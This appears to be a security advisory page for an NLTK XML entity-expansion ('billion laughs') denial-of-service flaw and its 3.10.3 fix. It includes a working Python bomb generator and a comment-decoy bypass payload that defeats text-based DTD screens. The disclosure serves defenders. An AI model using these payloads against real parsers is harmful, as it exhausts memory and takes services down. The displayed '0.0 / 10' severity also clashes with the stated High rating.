GHSA-97qj-x29f-37w7 CVE-2026-78681 PYSEC-2026-3748
NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.52%
- Chance of exploitation in the next 30 days. Higher than 44.27% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-776 Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
- Fix
3.10.3- Upgrade nltk to this version or later
Description
Several XML parsing sites in NLTK still used xml.etree.ElementTree directly, which honours <!ENTITY> declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.
Affected call sites (<= 3.10.2):
nltk.chunk.named_entity.load_ace_file— parses ACE annotation XMLnltk.internals.ElementWrapper— converts any given string to an Elementnltk.downloader—Package.fromxml,Collection.fromxml,_find_collections,_find_packages
libexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.
This completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new nltk.xmlsec module that refuses entity declarations, preferring defusedxml and falling back to a standard-library xml.parsers.expat pre-scan when defusedxml is absent.
Attack demonstration
Reproducible PoC against a real affected entry point (nltk.internals.ElementWrapper). Every number below is captured output, not illustrative.
1. The amplification (vulnerable path: raw xml.etree.ElementTree)
A payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:
| levels | input bytes | expanded bytes | factor |
|---|---|---|---|
| 3 | 218 | 10,000 | x45 |
| 4 | 274 | 100,000 | x364 |
| 5 | 330 | 1,000,000 | x3,030 |
| 6 | 386 | (libexpat 2.7.1 cap trips) | - |
The level-6 cap is libexpat's, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.
import xml.etree.ElementTree as ET
def bomb(levels):
d = "\n".join(f'<!ENTITY e{i} "{("&e%d;"%(i-1))*10}">' for i in range(1, levels+1))
return f'<!DOCTYPE d [<!ENTITY e0 "AAAAAAAAAA">{d}]><d>&e{levels};</d>'
ET.fromstring(bomb(5)) # -> element whose .text is 1,000,000 chars
2. The patched entry point rejects it
>>> from nltk.internals import ElementWrapper
>>> ElementWrapper(bomb(5))
EntitiesForbidden: EntitiesForbidden(name='e0', ...)
3. Why a text-based screen is not enough
An entity declaration can hide behind a decoy <!DOCTYPE> in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:
evil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a "PPPP...">]><d>&a;</d>'
raw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars)
nltk.xmlsec -> REJECTED (EntitiesForbidden)
An earlier draft of the fallback that walked the text was bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray ] inside a PI in the internal subset). All five are now regression tests.
4. Both back ends block it
nltk.xmlsec prefers defusedxml and falls back to a stdlib xml.parsers.expat pre-scan. Same payloads, defusedxml hidden to force the fallback:
stdlib fallback | billion-laughs -> REJECTED (EntitiesForbidden)
stdlib fallback | comment-decoy differential -> REJECTED (EntitiesForbidden)
Environment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| nltk | < 3.10.3 |
3.10.3 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
nltk PyPI → 3.10.3
- pip
pip install --upgrade "nltk>=3.10.3"- poetry
poetry add "nltk>=3.10.3"- uv
uv add "nltk>=3.10.3"
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
The product uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.
How to prevent it
- Operation: If possible, prohibit the use of DTDs or use an XML parser that limits the expansion of recursive DTD entities.
- Implementation: Before parsing XML files with associated DTDs, scan for recursive entity declarations and do not continue parsing potentially explosive content.
References
Advisories
Packages
Other links
- github.com/nltk/nltk/security/advisories/GHSA-97qj-x29f-37w7
- github.com/nltk/nltk/commit/e91789c9a043296ad04912ce171c22776d45963b
- github.com/nltk/nltk/releases/tag/v3.10.3
- github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3748.yaml
- vulncheck.com/advisories/nltk-before-entity-expansion-dos-via-elementtree
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-j456-xh4h-cpf2 NLTK: WekaClassifier passes an unvalidated caller-controlled model path to the weka JVM, bypassing nltk.pathsec containment | High | Also affects nltk |
| GHSA-ff5c-cp5c-9wjf NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars | Medium | Also affects nltk |
| GHSA-f794-5jv7-7672 NLTK: Downloader.download follows hardlinks and overwrites outside-root files | High | Also affects nltk |
| GHSA-8mgp-746c-j5xp NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots | High | Also affects nltk |
| GHSA-8mpw-7fpc-4gqj NLTK: Pl196xCorpusReader has quadratic ReDoS on malformed TEI blocks | Low | Also affects nltk |
| GHSA-cw6x-m8jw-qmrh NLTK: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input | Medium | Also affects nltk |
| GHSA-vp2x-qp44-57v7 NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()` | Low | Also affects nltk |
| GHSA-ww6m-cw3f-q94g NLTK: Quadratic-time DoS in PorterStemmer via long runs of 'y' | High | Also affects nltk |
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